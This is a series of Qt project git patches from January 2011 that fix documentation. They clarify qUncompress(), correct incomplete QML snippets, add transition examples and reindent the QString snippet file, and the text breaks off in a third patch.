From 14f908687edd09664bc7909ef7a0bdd071456402 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 15:32:06 +0100 Subject: Doc: Clarified the use of qUncompress(). Task-number: QTBUG-16671 --- src/corelib/tools/qbytearray.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/corelib/tools/qbytearray.cpp b/src/corelib/tools/qbytearray.cpp index b1bac9d..568293d 100644 --- a/src/corelib/tools/qbytearray.cpp +++ b/src/corelib/tools/qbytearray.cpp @@ -492,7 +492,7 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) #endif /*! - \fn QByteArray qUncompress(const QByteArray& data) + \fn QByteArray qUncompress(const QByteArray &data) \relates QByteArray @@ -506,10 +506,10 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) feature was added. \bold{Note:} If you want to use this function to uncompress external - data compressed using zlib, you first need to prepend four bytes to the - byte array that contain the expected length (as an unsigned integer) - of the uncompressed data encoded in big-endian order (most significant - byte first). + data that was compressed using zlib, you first need to prepend a four + byte header to the byte array containing the data. The header must + contain the expected length (in bytes) of the uncompressed data, + expressed as an unsigned, big-endian, 32-bit integer. \sa qCompress() */ -- cgit v0.12 From 72900c3004825514244ebd38f38c0443b9774ad3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 20:12:14 +0100 Subject: Doc: Fixed qdoc warnings caused by invalid/incomplete QML snippets. --- doc/src/declarative/dynamicobjects.qdoc | 4 +- doc/src/declarative/example-slideswitch.qdoc | 12 +- doc/src/declarative/extending.qdoc | 27 +- doc/src/declarative/qdeclarativemodels.qdoc | 4 +- doc/src/declarative/qtdeclarative.qdoc | 4 +- doc/src/snippets/declarative/script.js | 5 +- .../declarative/transition-from-to-modified.qml | 60 ++++ .../snippets/declarative/transition-from-to.qml | 2 - .../snippets/declarative/transition-reversible.qml | 2 + doc/src/snippets/declarative/transitions-list.qml | 89 +++++ doc/src/snippets/qstring/main.cpp | 382 ++++++++++----------- 11 files changed, 381 insertions(+), 210 deletions(-) create mode 100644 doc/src/snippets/declarative/transition-from-to-modified.qml create mode 100644 doc/src/snippets/declarative/transitions-list.qml diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc index 073e0c4..11a4386 100644 --- a/doc/src/declarative/dynamicobjects.qdoc +++ b/doc/src/declarative/dynamicobjects.qdoc @@ -184,7 +184,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t \qml Item { - SelfDestroyingRect { ... } + SelfDestroyingRect { + // ... + } } \endqml diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 2b82b2f..9f84ee6 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state. In this example: \qml -Switch { id: mySwitch; on: true } -Text { text: "The switch is on"; visible: mySwitch.on == true } +Item { + Switch { + id: mySwitch + on: true + } + Text { + text: "The switch is on" + visible: mySwitch.on == true + } +} \endqml the text will only be visible when the switch is on. diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index a1f006b..b986d06 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -733,12 +733,14 @@ It is optional for a property to have a default value. The default value is a co behaviorally identical to doing it in two steps, like this: \qml -// Use default value -property int myProperty: 10 +Item { + // Use default value + property int myProperty: 10 -// Longer, but behaviorally identical -property int myProperty -myProperty: 10 + // Longer, but behaviorally identical + property int myProperty + myProperty: 10 +} \endqml @@ -769,9 +771,11 @@ QML object types can also be used as property types. This includes defined like this: \qml -property Item itemProperty -property QtObject objectProperty -property MyCustomType customProperty +Item { + property Item itemProperty + property QtObject objectProperty + property MyCustomType customProperty +} \endqml Such object-type properties default to an \c undefined value. @@ -784,7 +788,9 @@ see the \l {variant}{variant type documentation} for details. list: \qml -property list listOfItems +Item { + property list listOfItems +} \endqml Note that list properties cannot be modified like ordinary JavaScript @@ -1075,7 +1081,7 @@ code removes the connection created in \c application.qml above: \qml // application.qml Item { - ... + // ... function removeSignal() { button.clicked.disconnect(item.myMethod) @@ -1100,5 +1106,4 @@ MouseArea { Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will automatically be emitted as well. - */ diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index 45246e9..744b4bd 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -281,7 +281,7 @@ with models of type QAbstractItemModel: \endlist -\section2 Exposing C++ data models to QML +\section2 Exposing C++ Data Models to QML The above examples use QDeclarativeContext::setContextProperty() to set model values directly in QML components. An alternative to this is to @@ -313,7 +313,9 @@ MyModel { id: myModel ListElement { someProperty: "some value" } } +\endqml +\qml ListView { width: 200; height: 250 model: myModel diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index 05dac52..364711d 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -103,7 +103,9 @@ \qml import com.mycompany.qmlcomponents 1.0 - Slider { ... } + Slider { + // ... + } \endqml Note that it's perfectly reasonable for a library to register types to older versions diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js index cd67311..f55dee3 100644 --- a/doc/src/snippets/declarative/script.js +++ b/doc/src/snippets/declarative/script.js @@ -1 +1,4 @@ -# Just here so that workerscript.qml succeeds. +WorkerScript.onMessage = function(message) { + // ... long-running operations and calculations are done here + WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) +} diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml new file mode 100644 index 0000000..1e2ebca --- /dev/null +++ b/doc/src/snippets/declarative/transition-from-to-modified.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 1.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "brighter"; when: mouseArea.pressed + PropertyChanges { target: rect; color: "yellow" } + } + + //! [modified transition] + transitions: Transition { + to: "brighter" + ColorAnimation { duration: 1000 } + } + //! [modified transition] +} diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml index 5fde653..ba07518 100644 --- a/doc/src/snippets/declarative/transition-from-to.qml +++ b/doc/src/snippets/declarative/transition-from-to.qml @@ -57,5 +57,3 @@ Rectangle { } } //![0] - - diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml index c67fd80..6a6ef23 100644 --- a/doc/src/snippets/declarative/transition-reversible.qml +++ b/doc/src/snippets/declarative/transition-reversible.qml @@ -53,12 +53,14 @@ Rectangle { PropertyChanges { target: rect; color: "yellow"; x: 50 } } + //! [sequential animations] transitions: Transition { SequentialAnimation { PropertyAnimation { property: "x"; duration: 1000 } ColorAnimation { duration: 1000 } } } + //! [sequential animations] } //![0] diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml new file mode 100644 index 0000000..0467de2 --- /dev/null +++ b/doc/src/snippets/declarative/transitions-list.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import Qt 4.7 + +Rectangle { + width: 150; height: 250 + + Rectangle { + id: stopLight + x: 25; y: 15; width: 100; height: 100 + } + Rectangle { + id: goLight + x: 25; y: 135; width: 100; height: 100 + } + + states: [ + State { + name: "stop" + PropertyChanges { target: stopLight; color: "red" } + PropertyChanges { target: goLight; color: "black" } + }, + State { + name: "go" + PropertyChanges { target: stopLight; color: "black" } + PropertyChanges { target: goLight; color: "green" } + } + ] + + state: "stop" + + MouseArea { + anchors.fill: parent + onClicked: parent.state == "stop" ? + parent.state = "go" : parent.state = "stop" + } + + //! [list of transitions] + transitions: [ + Transition { + from: "stop"; to: "go" + PropertyAnimation { target: stopLight + properties: "color"; duration: 1000 } + }, + Transition { + from: "go"; to: "stop" + PropertyAnimation { target: goLight + properties: "color"; duration: 1000 } + } ] + //! [list of transitions] +} diff --git a/doc/src/snippets/qstring/main.cpp b/doc/src/snippets/qstring/main.cpp index 9aac79d..bbc9e98 100644 --- a/doc/src/snippets/qstring/main.cpp +++ b/doc/src/snippets/qstring/main.cpp @@ -126,22 +126,22 @@ Widget::Widget(QWidget *parent) void Widget::constCharPointer() { -//! [0] + //! [0] QString str = "Hello"; -//! [0] + //! [0] } void Widget::constCharArray() { -//! [1] + //! [1] static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 }; QString str(data, 4); -//! [1] + //! [1] } void Widget::characterReference() { -//! [2] + //! [2] QString str; str.resize(4); @@ -149,46 +149,46 @@ void Widget::characterReference() str[1] = QChar('n'); str[2] = QChar(0x10e3); str[3] = QChar(0x03a3); -//! [2] + //! [2] } void Widget::atFunction() { -//! [3] + //! [3] QString str; for (int i = 0; i < str.size(); ++i) { if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f')) qDebug() << "Found character in range [a-f]"; } -//! [3] + //! [3] } void Widget::stringLiteral() { -//! [4] + //! [4] QString str; if (str == "auto" || str == "extern" || str == "static" || str == "register") { // ... } -//! [4] + //! [4] } void Widget::modify() { -//! [5] + //! [5] QString str = "and"; str.prepend("rock "); // str == "rock and" str.append(" roll"); // str == "rock and roll" str.replace(5, 3, "&"); // str == "rock & roll" -//! [5] + //! [5] } void Widget::index() { -//! [6] + //! [6] QString str = "We must be bold, very bold"; int j = 0; @@ -196,25 +196,25 @@ void Widget::index() qDebug() << "Found tag at index position" << j; ++j; } -//! [6] + //! [6] } //! [7] - QString Widget::boolToString(bool b) - { - QString result; - if (b) - result = "True"; - else - result = "False"; - return result; - } +QString Widget::boolToString(bool b) +{ + QString result; + if (b) + result = "True"; + else + result = "False"; + return result; +} //! [7] void Widget::nullVsEmpty() { -//! [8] + //! [8] QString().isNull(); // returns true QString().isEmpty(); // returns true @@ -223,45 +223,45 @@ void Widget::nullVsEmpty() QString("abc").isNull(); // returns false QString("abc").isEmpty(); // returns false -//! [8] + //! [8] } void Widget::appendFunction() { -//! [9] + //! [9] QString x = "free"; QString y = "dom"; x.append(y); // x == "freedom" -//! [9] + //! [9] -//! [10] + //! [10] x.insert(x.size(), y); -//! [10] + //! [10] } void Widget::argFunction() { -//! [11] + //! [11] QString i; // current file's number QString total; // number of files to process QString fileName; // current file's name QString status = QString("Processing file %1 of %2: %3") .arg(i).arg(total).arg(fileName); -//! [11] + //! [11] -//! [12] //! [13] + //! [12] //! [13] QString str; -//! [12] + //! [12] str = "%1 %2"; str.arg("%1f", "Hello"); // returns "%1f Hello" str.arg("%1f").arg("Hello"); // returns "Hellof %2" -//! [13] + //! [13] -//! [14] + //! [14] str = QString("Decimal 63 is %1 in hexadecimal") .arg(63, 0, 16); // str == "Decimal 63 is 3f in hexadecimal" @@ -272,16 +272,16 @@ void Widget::argFunction() .arg(12345) .arg(12345, 0, 16); // str == "12345 12,345 3039" -//! [14] + //! [14] } void Widget::chopFunction() { -//! [15] + //! [15] QString str("LOGOUT\r\n"); str.chop(2); // str == "LOGOUT" -//! [15] + //! [15] } void Widget::compareFunction() @@ -293,251 +293,251 @@ void Widget::compareFunction() void Widget::compareSensitiveFunction() { -//! [16] + //! [16] int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive); // x == 0 int y = QString::compare("auto", "Car", Qt::CaseSensitive); // y > 0 int z = QString::compare("auto", "Car", Qt::CaseInsensitive); // z < 0 -//! [16] + //! [16] } void Widget::containsFunction() { -//! [17] + //! [17] QString str = "Peter Pan"; str.contains("peter", Qt::CaseInsensitive); // returns true -//! [17] + //! [17] } void Widget::countFunction() { -//! [18] + //! [18] QString str = "banana and panama"; str.count(QRegExp("a[nm]a")); // returns 4 -//! [18] + //! [18] } void Widget::dataFunction() { -//! [19] + //! [19] QString str = "Hello world"; QChar *data = str.data(); while (!data->isNull()) { qDebug() << data->unicode(); ++data; } -//! [19] + //! [19] } void Widget::endsWithFunction() { -//! [20] + //! [20] QString str = "Bananas"; str.endsWith("anas"); // returns true str.endsWith("pple"); // returns false -//! [20] + //! [20] } void Widget::fillFunction() { -//! [21] + //! [21] QString str = "Berlin"; str.fill('z'); // str == "zzzzzz" str.fill('A', 2); // str == "AA" -//! [21] + //! [21] } void Widget::fromRawDataFunction() { -//! [22] - QRegExp pattern; - static const QChar unicode[] = { - 0x005A, 0x007F, 0x00A4, 0x0060, - 0x1009, 0x0020, 0x0020}; - int size = sizeof(unicode) / sizeof(QChar); + //! [22] + QRegExp pattern; + static const QChar unicode[] = { + 0x005A, 0x007F, 0x00A4, 0x0060, + 0x1009, 0x0020, 0x0020}; + int size = sizeof(unicode) / sizeof(QChar); - QString str = QString::fromRawData(unicode, size); - if (str.contains(QRegExp(pattern))) { - // ... -//! [22] //! [23] - } -//! [23] + QString str = QString::fromRawData(unicode, size); + if (str.contains(QRegExp(pattern))) { + // ... + //! [22] //! [23] + } + //! [23] } void Widget::indexOfFunction() { -//! [24] + //! [24] QString x = "sticky question"; QString y = "sti"; x.indexOf(y); // returns 0 x.indexOf(y, 1); // returns 10 x.indexOf(y, 10); // returns 10 x.indexOf(y, 11); // returns -1 -//! [24] + //! [24] } void Widget::firstIndexOfFunction() { -//! [25] + //! [25] QString str = "the minimum"; str.indexOf(QRegExp("m[aeiou]"), 0); // returns 4 -//! [25] + //! [25] } void Widget::insertFunction() { -//! [26] + //! [26] QString str = "Meal"; str.insert(1, QString("ontr")); // str == "Montreal" -//! [26] + //! [26] } void Widget::isEmptyFunction() { -//! [27] + //! [27] QString().isEmpty(); // returns true QString("").isEmpty(); // returns true QString("x").isEmpty(); // returns false QString("abc").isEmpty(); // returns false -//! [27] + //! [27] } void Widget::isNullFunction() { -//! [28] + //! [28] QString().isNull(); // returns true QString("").isNull(); // returns false QString("abc").isNull(); // returns false -//! [28] + //! [28] } void Widget::lastIndexOfFunction() { -//! [29] + //! [29] QString x = "crazy azimuths"; QString y = "az"; x.lastIndexOf(y); // returns 6 x.lastIndexOf(y, 6); // returns 6 x.lastIndexOf(y, 5); // returns 2 x.lastIndexOf(y, 1); // returns -1 -//! [29] + //! [29] -//! [30] + //! [30] QString str = "the minimum"; str.lastIndexOf(QRegExp("m[aeiou]")); // returns 8 -//! [30] + //! [30] } void Widget::leftFunction() { -//! [31] + //! [31] QString x = "Pineapple"; QString y = x.left(4); // y == "Pine" -//! [31] + //! [31] } void Widget::leftJustifiedFunction() { -//! [32] + //! [32] QString s = "apple"; QString t = s.leftJustified(8, '.'); // t == "apple..." -//! [32] + //! [32] -//! [33] + //! [33] QString str = "Pineapple"; str = str.leftJustified(5, '.', true); // str == "Pinea" -//! [33] + //! [33] } void Widget::midFunction() { -//! [34] + //! [34] QString x = "Nine pineapples"; QString y = x.mid(5, 4); // y == "pine" QString z = x.mid(5); // z == "pineapples" -//! [34] + //! [34] } void Widget::numberFunction() { -//! [35] + //! [35] long a = 63; QString s = QString::number(a, 16); // s == "3f" QString t = QString::number(a, 16).toUpper(); // t == "3F" -//! [35] + //! [35] } void Widget::prependFunction() { -//! [36] + //! [36] QString x = "ship"; QString y = "air"; x.prepend(y); // x == "airship" -//! [36] + //! [36] } void Widget::removeFunction() { -//! [37] + //! [37] QString s = "Montreal"; s.remove(1, 4); // s == "Meal" -//! [37] + //! [37] -//! [38] + //! [38] QString t = "Ali Baba"; t.remove(QChar('a'), Qt::CaseInsensitive); // t == "li Bb" -//! [38] + //! [38] -//! [39] + //! [39] QString r = "Telephone"; r.remove(QRegExp("[aeiou].")); // r == "The" -//! [39] + //! [39] } void Widget::replaceFunction() { -//! [40] + //! [40] QString x = "Say yes!"; QString y = "no"; x.replace(4, 3, y); // x == "Say no!" -//! [40] + //! [40] -//! [41] + //! [41] QString str = "colour behaviour flavour neighbour"; str.replace(QString("ou"), QString("o")); // str == "color behavior flavor neighbor" -//! [41] + //! [41] -//! [42] + //! [42] QString s = "Banana"; s.replace(QRegExp("a[mn]"), "ox"); // s == "Boxoxa" -//! [42] + //! [42] -//! [43] + //! [43] QString t = "A bon mot."; t.replace(QRegExp("([^<]*)"), "\\emph{\\1}"); // t == "A \\emph{bon mot}." -//! [43] + //! [43] -//! [86] + //! [86] QString equis = "xxxxxx"; equis.replace("xx", "x"); // equis == "xxx" -//! [86] + //! [86] } void Widget::reserveFunction() { -//! [44] + //! [44] QString result; int maxSize; bool condition; @@ -549,59 +549,59 @@ void Widget::reserveFunction() result.append(nextChar); result.squeeze(); -//! [44] + //! [44] } void Widget::resizeFunction() { -//! [45] + //! [45] QString s = "Hello world"; s.resize(5); // s == "Hello" s.resize(8); // s == "Hello???" (where ? stands for any character) -//! [45] + //! [45] -//! [46] + //! [46] QString t = "Hello"; t += QString(10, 'X'); // t == "HelloXXXXXXXXXX" -//! [46] + //! [46] -//! [47] + //! [47] QString r = "Hello"; r = r.leftJustified(10, ' '); // r == "Hello " -//! [47] + //! [47] } void Widget::rightFunction() { -//! [48] + //! [48] QString x = "Pineapple"; QString y = x.right(5); // y == "apple" -//! [48] + //! [48] } void Widget::rightJustifiedFunction() { -//! [49] + //! [49] QString s = "apple"; QString t = s.rightJustified(8, '.'); // t == "...apple" -//! [49] + //! [49] -//! [50] + //! [50] QString str = "Pineapple"; str = str.rightJustified(5, '.', true); // str == "Pinea" -//! [50] + //! [50] } void Widget::sectionFunction() { -//! [51] //! [52] + //! [51] //! [52] QString str; -//! [51] + //! [51] QString csv = "forename,middlename,surname,phone"; QString path = "/usr/local/bin/myapp"; // First field is empty QString::SectionFlag flag = QString::SectionSkipEmpty; @@ -610,83 +610,83 @@ void Widget::sectionFunction() str = csv.section(',', 2, 2); // str == "surname" str = path.section('/', 3, 4); // str == "bin/myapp" str = path.section('/', 3, 3, flag); // str == "myapp" -//! [52] + //! [52] -//! [53] + //! [53] str = csv.section(',', -3, -2); // str == "middlename,surname" str = path.section('/', -1); // str == "myapp" -//! [53] + //! [53] -//! [54] + //! [54] QString data = "forename**middlename**surname**phone"; str = data.section("**", 2, 2); // str == "surname" str = data.section("**", -3, -2); // str == "middlename**surname" -//! [54] + //! [54] -//! [55] + //! [55] QString line = "forename\tmiddlename surname \t \t phone"; QRegExp sep("\\s+"); str = line.section(sep, 2, 2); // s == "surname" str = line.section(sep, -3, -2); // s == "middlename surname" -//! [55] + //! [55] } void Widget::setNumFunction() { -//! [56] + //! [56] QString str; str.setNum(1234); // str == "1234" -//! [56] + //! [56] } void Widget::simplifiedFunction() { -//! [57] + //! [57] QString str = " lots\t of\nwhitespace\r\n "; str = str.simplified(); // str == "lots of whitespace"; -//! [57] + //! [57] } void Widget::sizeFunction() { -//! [58] + //! [58] QString str = "World"; int n = str.size(); // n == 5 str.data()[0]; // returns 'W' str.data()[4]; // returns 'd' str.data()[5]; // returns '\0' -//! [58] + //! [58] } void Widget::splitFunction() { -//! [59] + //! [59] QString str; QStringList list; str = "Some text\n\twith strange whitespace."; list = str.split(QRegExp("\\s+")); // list: [ "Some", "text", "with", "strange", "whitespace." ] -//! [59] + //! [59] -//! [60] + //! [60] str = "This time, a normal English sentence."; list = str.split(QRegExp("\\W+"), QString::SkipEmptyParts); // list: [ "This", "time", "a", "normal", "English", "sentence" ] -//! [60] + //! [60] -//! [61] + //! [61] str = "Now: this sentence fragment."; list = str.split(QRegExp("\\b")); // list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ] -//! [61] + //! [61] } void Widget::splitCaseSensitiveFunction() { -//! [62] + //! [62] QString str = "a,,b,c"; QStringList list1 = str.split(","); @@ -694,241 +694,241 @@ void Widget::splitCaseSensitiveFunction() QStringList list2 = str.split(",", QString::SkipEmptyParts); // list2: [ "a", "b", "c" ] -//! [62] + //! [62] } void Widget::sprintfFunction() { -//! [63] + //! [63] size_t BufSize; char buf[BufSize]; ::snprintf(buf, BufSize, "%lld", 123456789LL); QString str = QString::fromAscii(buf); -//! [63] + //! [63] -//! [64] + //! [64] QString result; QTextStream(&result) << "pi = " << 3.14; // result == "pi = 3.14" -//! [64] + //! [64] } void Widget::startsWithFunction() { -//! [65] + //! [65] QString str = "Bananas"; str.startsWith("Ban"); // returns true str.startsWith("Car"); // returns false -//! [65] + //! [65] } void Widget::toDoubleFunction() { -//! [66] + //! [66] QString str = "1234.56"; double val = str.toDouble(); // val == 1234.56 -//! [66] + //! [66] -//! [67] + //! [67] bool ok; double d; d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456 -//! [67] + //! [67] -//! [68] //! [69] + //! [68] //! [69] QLocale::setDefault(QLocale::C); d = QString( "1234,56" ).toDouble(&ok); // ok == false -//! [68] + //! [68] d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [69] //! [70] + //! [69] //! [70] QLocale::setDefault(QLocale::German); d = QString( "1234,56" ).toDouble(&ok); // ok == true, d == 1234.56 d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [70] + //! [70] QLocale::setDefault(QLocale::C); d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false } void Widget::toFloatFunction() { -//! [71] + //! [71] QString str1 = "1234.56"; str1.toFloat(); // returns 1234.56 bool ok; QString str2 = "R2D2"; str2.toFloat(&ok); // returns 0.0, sets ok to false -//! [71] + //! [71] } void Widget::toIntFunction() { -//! [72] + //! [72] QString str = "FF"; bool ok; int hex = str.toInt(&ok, 16); // hex == 255, ok == true int dec = str.toInt(&ok, 10); // dec == 0, ok == false -//! [72] + //! [72] } void Widget::toLongFunction() { -//! [73] + //! [73] QString str = "FF"; bool ok; long hex = str.toLong(&ok, 16); // hex == 255, ok == true long dec = str.toLong(&ok, 10); // dec == 0, ok == false -//! [73] + //! [73] } void Widget::toLongLongFunction() { -//! [74] + //! [74] QString str = "FF"; bool ok; qint64 hex = str.toLongLong(&ok, 16); // hex == 255, ok == true qint64 dec = str.toLongLong(&ok, 10); // dec == 0, ok == false -//! [74] + //! [74] } void Widget::toLowerFunction() { -//! [75] + //! [75] QString str = "Qt by NOKIA"; str = str.toLower(); // str == "qt by nokia" -//! [75] + //! [75] } void Widget::toShortFunction() { -//! [76] + //! [76] QString str = "FF"; bool ok; short hex = str.toShort(&ok, 16); // hex == 255, ok == true short dec = str.toShort(&ok, 10); // dec == 0, ok == false -//! [76] + //! [76] } void Widget::toUIntFunction() { -//! [77] + //! [77] QString str = "FF"; bool ok; uint hex = str.toUInt(&ok, 16); // hex == 255, ok == true uint dec = str.toUInt(&ok, 10); // dec == 0, ok == false -//! [77] + //! [77] } void Widget::toULongFunction() { -//! [78] + //! [78] QString str = "FF"; bool ok; ulong hex = str.toULong(&ok, 16); // hex == 255, ok == true ulong dec = str.toULong(&ok, 10); // dec == 0, ok == false -//! [78] + //! [78] } void Widget::toULongLongFunction() { -//! [79] + //! [79] QString str = "FF"; bool ok; quint64 hex = str.toULongLong(&ok, 16); // hex == 255, ok == true quint64 dec = str.toULongLong(&ok, 10); // dec == 0, ok == false -//! [79] + //! [79] } void Widget::toUShortFunction() { -//! [80] + //! [80] QString str = "FF"; bool ok; ushort hex = str.toUShort(&ok, 16); // hex == 255, ok == true ushort dec = str.toUShort(&ok, 10); // dec == 0, ok == false -//! [80] + //! [80] } void Widget::toUpperFunction() { -//! [81] + //! [81] QString str = "TeXt"; str = str.toUpper(); // str == "TEXT" -//! [81] + //! [81] } void Widget::trimmedFunction() { -//! [82] + //! [82] QString str = " lots\t of\nwhitespace\r\n "; str = str.trimmed(); // str == "lots\t of\nwhitespace" -//! [82] + //! [82] } void Widget::truncateFunction() { -//! [83] + //! [83] QString str = "Vladivostok"; str.truncate(4); // str == "Vlad" -//! [83] + //! [83] } void Widget::plusEqualOperator() { -//! [84] + //! [84] QString x = "free"; QString y = "dom"; x += y; // x == "freedom" -//! [84] + //! [84] } void Widget::arrayOperator() { -//! [85] + //! [85] QString str; if (str[0] == QChar('?')) str[0] = QChar('_'); -//! [85] + //! [85] } void Widget::midRefFunction() { -//! [midRef] + //! [midRef] QString x = "Nine pineapples"; QStringRef y = x.midRef(5, 4); // y == "pine" QStringRef z = x.midRef(5); // z == "pineapples" -//! [midRef] + //! [midRef] } void Widget::leftRefFunction() { -//! [leftRef] + //! [leftRef] QString x = "Pineapple"; QStringRef y = x.leftRef(4); // y == "Pine" -//! [leftRef] + //! [leftRef] } void Widget::rightRefFunction() { -//! [rightRef] + //! [rightRef] QString x = "Pineapple"; QStringRef y = x.rightRef(5); // y == "apple" -//! [rightRef] + //! [rightRef] } -- cgit v0.12 From 006929de7f84430278e370eaa468a93fa3a1fb96 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 20:16:50 +0100 Subject: Doc: Fixed invalid/incomplete QML code snippets. --- .../declarative/toys/dynamicscene/dynamicscene.qml | 3 +- .../graphicsitems/qdeclarativeborderimage.cpp | 17 +++++--- .../graphicsitems/qdeclarativepathview.cpp | 2 +- .../graphicsitems/qdeclarativetextedit.cpp | 10 +++-- src/declarative/qml/qdeclarativedom.cpp | 8 ++-- src/declarative/qml/qdeclarativeengine.cpp | 18 +++++++-- src/declarative/qml/qdeclarativeworkerscript.cpp | 7 +--- src/declarative/util/qdeclarativeanimation.cpp | 45 +++++++++------------- src/declarative/util/qdeclarativestate.cpp | 19 +++++---- src/declarative/util/qdeclarativetransition.cpp | 34 ++-------------- src/imports/gestures/qdeclarativegesturearea.cpp | 18 ++++----- 11 files changed, 82 insertions(+), 99 deletions(-) diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.qml b/examples/declarative/toys/dynamicscene/dynamicscene.qml index cfc4b74..a436b41 100644 --- a/examples/declarative/toys/dynamicscene/dynamicscene.qml +++ 